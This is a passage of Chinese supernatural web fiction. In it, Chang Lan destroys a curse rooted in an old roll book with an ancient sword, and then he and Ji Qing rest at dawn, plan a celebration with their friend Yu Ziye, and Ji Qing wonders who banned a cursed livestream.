古朴剑身上的七星星点逐次被点亮,流淌着璀璨而纯粹的光芒,剑身甚至发出低沉的嗡鸣 没有一丝犹豫,他周身运气,拧身发力,将全身的力量灌注于这一击之中,传承千年的法剑,此刻被他如同长枪一般刺出! 剑光破空,宛如金鳞蛟龙,以无可阻挡之势,精准无比地穿透了屏障以及后方那部手机,最后狠狠刺进了那团散发着恶意的诅咒核心,将其死死钉在地上! 文字组成的黑色屏障瞬间坍塌,无数黑色的文字纷纷零落飘散在地,导演的尸体化作一团黑色的文字崩毁,在崩塌的文字坟墓之下,一个笔记本被残余的剑气翻动着其中的纸张。 那是一切的源头——那个晚自习的记名本。 纸面上无数拥挤的痛苦人脸发出无声的尖啸,缠绕其上的黑色文字开始寸寸崩断。 那些散落在地的文字变得脆弱,仿佛飞灰一样随时会溃散。 常岚挽了个剑花,将剑尖轻点在记名本上 然后,记名本的虚影,连同缠绕其上的所有黑色文字,从中心开始,无声无息地消散在窗外到来的晨曦微光中。 阳光,终于越过了地平线,第一缕微光透过窗户,照进这间一片狼藉的公寓,驱散了诅咒带来的冰冷恶意。 常岚回头望了望季青:“搞定了?” 季青此时已疲惫地靠墙坐下,看着阳光下飞舞的尘埃,轻轻点了点头。 “嗯,搞定了。” 她掏出自己的手机在捉诡小队的群里报了平安,信息发送出去没多久就接到了余子夜的电话: 电话那头的余子夜哭得稀里哗啦,一边说着没事真是太好了,一边又抱怨季青没有多带几个人去太危险,接着还说要新开的餐厅一起去大吃一顿庆祝一下,马上却又反应过来不落木没法离开自己的房子…… 常岚也靠过来坐下,两个人默默听着余子夜的絮叨,最后在季青“好好好”“都行”“都听你的”的意见下,三人单方面敲定了要去不落木家聚餐的庆功计划。 直到感觉出季青的疲惫,余子夜才依依不舍地挂断了电话。 通话结束,四周突然安静下来,两人静静地坐着,享受着这来之不易的片刻安宁。 阳光逐渐变得更加温暖明亮,常岚伸展了一下有些发僵的四肢,偏过头,看向身旁依旧沉默的季青问道: “那在庆功宴之前呢?”他的语气轻松,带着一丝关切,“要不要先去吃个早饭?附近好像就有一家老字号,吃完饭再各回各家,好好休息?” 他的提议很实际,试图将季青的思绪从刚刚那场不可思议的怪谈中拉回平凡的现实。 “嗯……” 季青应了一声,声音却显得有些心不在焉 她低下头,视线长久地落在自己的手机屏幕上,手指无意识地滑动着,最终停留在那个诡异论坛的网页上。 此刻,屏幕上不再有任何血腥或诡异的画面,只剩下久违的【该网页不存在】。 那个封禁了导演直播间的管理员,究竟是谁? 等今天的太阳落下之后,一定要问个清楚。